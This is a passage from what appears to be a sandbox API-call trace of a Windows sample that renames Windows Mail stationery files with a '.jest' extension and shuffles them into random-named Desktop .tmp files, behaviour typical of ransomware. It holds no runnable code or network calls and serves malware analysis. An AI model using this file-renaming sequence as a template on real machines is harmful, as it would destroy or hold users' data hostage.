lpFileName="MnFWAhdYrMOvE4gMe_MkEJ8ssT_zr4feTulb5g1AqgtJG9q9r--eFF2dRfFLCucHFO XMzGT2Ygg4NYMPeO_eEJVFE-KrcbB0yd.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnFWAhdYrMOvE4gMe_MkEJ8ssT_zr4feTulb5g1AqgtJG9q9r--eFF2dRfFLCucHFO XMzGT2Ygg4NYMPeO_eEJVFE-KrcbB0yd.tmp", lpFilePart=0x18e708*="MnFWAhdYrMOvE4gMe_MkEJ8ssT_zr4feTulb5g1AqgtJG9q9r--eFF2dRfFLCucHFO XMzGT2Ygg4NYMPeO_eEJVFE-KrcbB0yd.tmp") returned 0x8d [0128.623] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", lpFilePart=0x18e708*="GreenBubbles.jpg") returned 0x5e [0128.623] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnFWAhdYrMOvE4gMe_MkEJ8ssT_zr4feTulb5g1AqgtJG9q9r--eFF2dRfFLCucHFO XMzGT2Ygg4NYMPeO_eEJVFE-KrcbB0yd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnfwahdyrmove4gme_mkej8sst_zr4fetulb5g1aqgtjg9q9r--eff2drfflcuchfo xmzgt2ygg4nympeo_eejvfe-krcbb0yd.tmp")) returned 0 [0128.623] GetLastError () returned 0x2 [0128.623] GetLastError () returned 0x2 [0128.623] SetLastError (dwErrCode=0x2) [0128.623] GetLastError () returned 0x2 [0128.623] SetLastError (dwErrCode=0x2) [0128.623] GetLastError () returned 0x2 [0128.623] SetLastError (dwErrCode=0x2) [0128.624] GetFullPathNameA (in: lpFileName="MnFWAhdYrMOvE4gMe_MkEJ8ssT_zr4feTulb5g1AqgtJG9q9r--eFF2dRfFLCucHFO XMzGT2Ygg4NYMPeO_eEJVFE-KrcbB0yd.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnFWAhdYrMOvE4gMe_MkEJ8ssT_zr4feTulb5g1AqgtJG9q9r--eFF2dRfFLCucHFO XMzGT2Ygg4NYMPeO_eEJVFE-KrcbB0yd.tmp", lpFilePart=0x18e6e4*="MnFWAhdYrMOvE4gMe_MkEJ8ssT_zr4feTulb5g1AqgtJG9q9r--eFF2dRfFLCucHFO XMzGT2Ygg4NYMPeO_eEJVFE-KrcbB0yd.tmp") returned 0x8d [0128.624] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnFWAhdYrMOvE4gMe_MkEJ8ssT_zr4feTulb5g1AqgtJG9q9r--eFF2dRfFLCucHFO XMzGT2Ygg4NYMPeO_eEJVFE-KrcbB0yd.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x57466e4d, cFileName="AhdYrMOvE4gMe_MkEJ8ssT_zr4feTulb5g1AqgtJG9q9r--eFF2dRfFLCucHFO XMzGT2Ygg4NYMPeO_eEJVFE-KrcbB0yd.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.624] GetLastError () returned 0x2 [0128.624] GetLastError () returned 0x2 [0128.624] SetLastError (dwErrCode=0x2) [0128.624] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.624] CoFreeUnusedLibraries () [0128.624] GetTickCount () returned 0x1152952 [0128.624] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.624] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.624] GetTickCount () returned 0x1152952 [0128.625] IsWindowVisible (hWnd=0x30268) returned 0 [0128.625] Sleep (dwMilliseconds=0x0) [0128.626] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.jest")) returned 1 [0128.626] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", lpFilePart=0x18e6d8*="Green Bubbles.htm") returned 0x5f [0128.626] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.627] GetLastError () returned 0x2 [0128.627] VarBstrFromR4 (in: fltIn=0x4794463b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.46") returned 0x0 [0128.627] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.627] CoFreeUnusedLibraries () [0128.627] GetTickCount () returned 0x1152952 [0128.627] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.627] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.627] GetTickCount () returned 0x1152952 [0128.627] IsWindowVisible (hWnd=0x30268) returned 0 [0128.627] Sleep (dwMilliseconds=0x0) [0128.628] GetFullPathNameA (in: lpFileName="yW9rMLzZSj5RbU8VW7xDtjdTs75fgGFNgKap9lQq8zPeA5BRcKU1iBxjeU5dEvvbkSMeRqx23iTMhgEQQ9YyG5V23G2j4xc82ck.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yW9rMLzZSj5RbU8VW7xDtjdTs75fgGFNgKap9lQq8zPeA5BRcKU1iBxjeU5dEvvbkSMeRqx23iTMhgEQQ9YyG5V23G2j4xc82ck.tmp", lpFilePart=0x18e708*="yW9rMLzZSj5RbU8VW7xDtjdTs75fgGFNgKap9lQq8zPeA5BRcKU1iBxjeU5dEvvbkSMeRqx23iTMhgEQQ9YyG5V23G2j4xc82ck.tmp") returned 0x8d [0128.629] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", lpFilePart=0x18e708*="Green Bubbles.htm") returned 0x5f [0128.629] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yW9rMLzZSj5RbU8VW7xDtjdTs75fgGFNgKap9lQq8zPeA5BRcKU1iBxjeU5dEvvbkSMeRqx23iTMhgEQQ9YyG5V23G2j4xc82ck.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yw9rmlzzsj5rbu8vw7xdtjdts75fggfngkap9lqq8zpea5brcku1ibxjeu5devvbksmerqx23itmhgeqq9yyg5v23g2j4xc82ck.tmp")) returned 0 [0128.629] GetLastError () returned 0x2 [0128.629] GetLastError () returned 0x2 [0128.629] SetLastError (dwErrCode=0x2) [0128.629] GetLastError () returned 0x2 [0128.629] SetLastError (dwErrCode=0x2) [0128.629] GetLastError () returned 0x2 [0128.629] SetLastError (dwErrCode=0x2) [0128.629] GetFullPathNameA (in: lpFileName="yW9rMLzZSj5RbU8VW7xDtjdTs75fgGFNgKap9lQq8zPeA5BRcKU1iBxjeU5dEvvbkSMeRqx23iTMhgEQQ9YyG5V23G2j4xc82ck.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yW9rMLzZSj5RbU8VW7xDtjdTs75fgGFNgKap9lQq8zPeA5BRcKU1iBxjeU5dEvvbkSMeRqx23iTMhgEQQ9YyG5V23G2j4xc82ck.tmp", lpFilePart=0x18e6e4*="yW9rMLzZSj5RbU8VW7xDtjdTs75fgGFNgKap9lQq8zPeA5BRcKU1iBxjeU5dEvvbkSMeRqx23iTMhgEQQ9YyG5V23G2j4xc82ck.tmp") returned 0x8d [0128.630] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yW9rMLzZSj5RbU8VW7xDtjdTs75fgGFNgKap9lQq8zPeA5BRcKU1iBxjeU5dEvvbkSMeRqx23iTMhgEQQ9YyG5V23G2j4xc82ck.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x72395779, cFileName="MLzZSj5RbU8VW7xDtjdTs75fgGFNgKap9lQq8zPeA5BRcKU1iBxjeU5dEvvbkSMeRqx23iTMhgEQQ9YyG5V23G2j4xc82ck.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.630] GetLastError () returned 0x2 [0128.630] GetLastError () returned 0x2 [0128.630] SetLastError (dwErrCode=0x2) [0128.630] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.630] CoFreeUnusedLibraries () [0128.630] GetTickCount () returned 0x1152952 [0128.630] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.630] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.630] GetTickCount () returned 0x1152952 [0128.631] IsWindowVisible (hWnd=0x30268) returned 0 [0128.631] Sleep (dwMilliseconds=0x0) [0128.631] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.jest")) returned 1 [0128.632] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", lpFilePart=0x18e6d8*="Garden.jpg") returned 0x58 [0128.632] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xe0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.632] GetLastError () returned 0x2 [0128.632] VarBstrFromR4 (in: fltIn=0x4794463d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.48") returned 0x0 [0128.633] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.633] CoFreeUnusedLibraries () [0128.633] GetTickCount () returned 0x1152962 [0128.633] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.633] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.633] GetTickCount () returned 0x1152962 [0128.633] IsWindowVisible (hWnd=0x30268) returned 0 [0128.633] Sleep (dwMilliseconds=0x0) [0128.633] GetFullPathNameA (in: lpFileName="19PUFuilA66KktlqxyrNuShExoRzghs5nS-cnqtjX6bJqhQpMOtovGnSJ9mJ9JP94QqOxAOCgIyx64B5lbfGOiBdmGWs9X_HsZl2V.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\19PUFuilA66KktlqxyrNuShExoRzghs5nS-cnqtjX6bJqhQpMOtovGnSJ9mJ9JP94QqOxAOCgIyx64B5lbfGOiBdmGWs9X_HsZl2V.tmp", lpFilePart=0x18e708*="19PUFuilA66KktlqxyrNuShExoRzghs5nS-cnqtjX6bJqhQpMOtovGnSJ9mJ9JP94QqOxAOCgIyx64B5lbfGOiBdmGWs9X_HsZl2V.tmp") returned 0x8f [0128.634] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", lpFilePart=0x18e708*="Garden.jpg") returned 0x58 [0128.634] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\19PUFuilA66KktlqxyrNuShExoRzghs5nS-cnqtjX6bJqhQpMOtovGnSJ9mJ9JP94QqOxAOCgIyx64B5lbfGOiBdmGWs9X_HsZl2V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\19pufuila66kktlqxyrnushexorzghs5ns-cnqtjx6bjqhqpmotovgnsj9mj9jp94qqoxaocgiyx64b5lbfgoibdmgws9x_hszl2v.tmp")) returned 0 [0128.634] GetLastError () returned 0x2 [0128.634] GetLastError () returned 0x2 [0128.634] SetLastError (dwErrCode=0x2) [0128.634] GetLastError () returned 0x2 [0128.634] SetLastError (dwErrCode=0x2) [0128.634] GetLastError () returned 0x2 [0128.634] SetLastError (dwErrCode=0x2) [0128.635] GetFullPathNameA (in: lpFileName="19PUFuilA66KktlqxyrNuShExoRzghs5nS-cnqtjX6bJqhQpMOtovGnSJ9mJ9JP94QqOxAOCgIyx64B5lbfGOiBdmGWs9X_HsZl2V.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\19PUFuilA66KktlqxyrNuShExoRzghs5nS-cnqtjX6bJqhQpMOtovGnSJ9mJ9JP94QqOxAOCgIyx64B5lbfGOiBdmGWs9X_HsZl2V.tmp", lpFilePart=0x18e6e4*="19PUFuilA66KktlqxyrNuShExoRzghs5nS-cnqtjX6bJqhQpMOtovGnSJ9mJ9JP94QqOxAOCgIyx64B5lbfGOiBdmGWs9X_HsZl2V.tmp") returned 0x8f [0128.635] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\19PUFuilA66KktlqxyrNuShExoRzghs5nS-cnqtjX6bJqhQpMOtovGnSJ9mJ9JP94QqOxAOCgIyx64B5lbfGOiBdmGWs9X_HsZl2V.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x55503931, cFileName="FuilA66KktlqxyrNuShExoRzghs5nS-cnqtjX6bJqhQpMOtovGnSJ9mJ9JP94QqOxAOCgIyx64B5lbfGOiBdmGWs9X_HsZl2V.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.635] GetLastError () returned 0x2 [0128.635] GetLastError () returned 0x2 [0128.635] SetLastError (dwErrCode=0x2) [0128.635] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.635] CoFreeUnusedLibraries () [0128.635] GetTickCount () returned 0x1152962 [0128.635] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.636] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.636] GetTickCount () returned 0x1152962 [0128.636] IsWindowVisible (hWnd=0x30268) returned 0 [0128.636] Sleep (dwMilliseconds=0x0) [0128.636] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.jest")) returned 1 [0128.637] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", lpFilePart=0x18e6d8*="Garden.htm") returned 0x58 [0128.637] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xe0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.637] GetLastError () returned 0x2 [0128.637] VarBstrFromR4 (in: fltIn=0x4794463d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.48") returned 0x0 [0128.638] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.638] CoFreeUnusedLibraries () [0128.638] GetTickCount () returned 0x1152962 [0128.638] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.638] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.638] GetTickCount () returned 0x1152962 [0128.638] IsWindowVisible (hWnd=0x30268) returned 0 [0128.638] Sleep (dwMilliseconds=0x0) [0128.638] GetFullPathNameA (in: lpFileName="8zRlPkVBB9uOo0cWdRawbDostirTf6kdc cZRUqq9MOD0s uTg32V7mO_1EWPYhZsjE UsKCuJF0YirDXJZYR0CQ6djTPakHUO1 .tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8zRlPkVBB9uOo0cWdRawbDostirTf6kdc cZRUqq9MOD0s uTg32V7mO_1EWPYhZsjE UsKCuJF0YirDXJZYR0CQ6djTPakHUO1 .tmp", lpFilePart=0x18e708*="8zRlPkVBB9uOo0cWdRawbDostirTf6kdc cZRUqq9MOD0s uTg32V7mO_1EWPYhZsjE UsKCuJF0YirDXJZYR0CQ6djTPakHUO1 .tmp") returned 0x8e [0128.639] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", lpFilePart=0x18e708*="Garden.htm") returned 0x58 [0128.639] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8zRlPkVBB9uOo0cWdRawbDostirTf6kdc cZRUqq9MOD0s uTg32V7mO_1EWPYhZsjE UsKCuJF0YirDXJZYR0CQ6djTPakHUO1 .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8zrlpkvbb9uoo0cwdrawbdostirtf6kdc czruqq9mod0s utg32v7mo_1ewpyhzsje uskcujf0yirdxjzyr0cq6djtpakhuo1 .tmp")) returned 0 [0128.639] GetLastError () returned 0x2 [0128.639] GetLastError () returned 0x2 [0128.639] SetLastError (dwErrCode=0x2) [0128.639] GetLastError () returned 0x2 [0128.639] SetLastError (dwErrCode=0x2) [0128.639] GetLastError () returned 0x2 [0128.639] SetLastError (dwErrCode=0x2) [0128.640] GetFullPathNameA (in: lpFileName="8zRlPkVBB9uOo0cWdRawbDostirTf6kdc cZRUqq9MOD0s uTg32V7mO_1EWPYhZsjE UsKCuJF0YirDXJZYR0CQ6djTPakHUO1 .tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8zRlPkVBB9uOo0cWdRawbDostirTf6kdc cZRUqq9MOD0s uTg32V7mO_1EWPYhZsjE UsKCuJF0YirDXJZYR0CQ6djTPakHUO1 .tmp", lpFilePart=0x18e6e4*="8zRlPkVBB9uOo0cWdRawbDostirTf6kdc cZRUqq9MOD0s uTg32V7mO_1EWPYhZsjE UsKCuJF0YirDXJZYR0CQ6djTPakHUO1 .tmp") returned 0x8e [0128.640] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8zRlPkVBB9uOo0cWdRawbDostirTf6kdc cZRUqq9MOD0s uTg32V7mO_1EWPYhZsjE UsKCuJF0YirDXJZYR0CQ6djTPakHUO1 .tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6c527a38, cFileName="PkVBB9uOo0cWdRawbDostirTf6kdc cZRUqq9MOD0s uTg32V7mO_1EWPYhZsjE UsKCuJF0YirDXJZYR0CQ6djTPakHUO1 .tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.640] GetLastError () returned 0x2 [0128.640] GetLastError () returned 0x2 [0128.640] SetLastError (dwErrCode=0x2) [0128.640] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.640] CoFreeUnusedLibraries () [0128.640] GetTickCount () returned 0x1152962 [0128.640] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.640] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.641] GetTickCount () returned 0x1152962 [0128.641] IsWindowVisible (hWnd=0x30268) returned 0 [0128.641] Sleep (dwMilliseconds=0x0) [0128.641] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.jest")) returned 1 [0128.642] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows 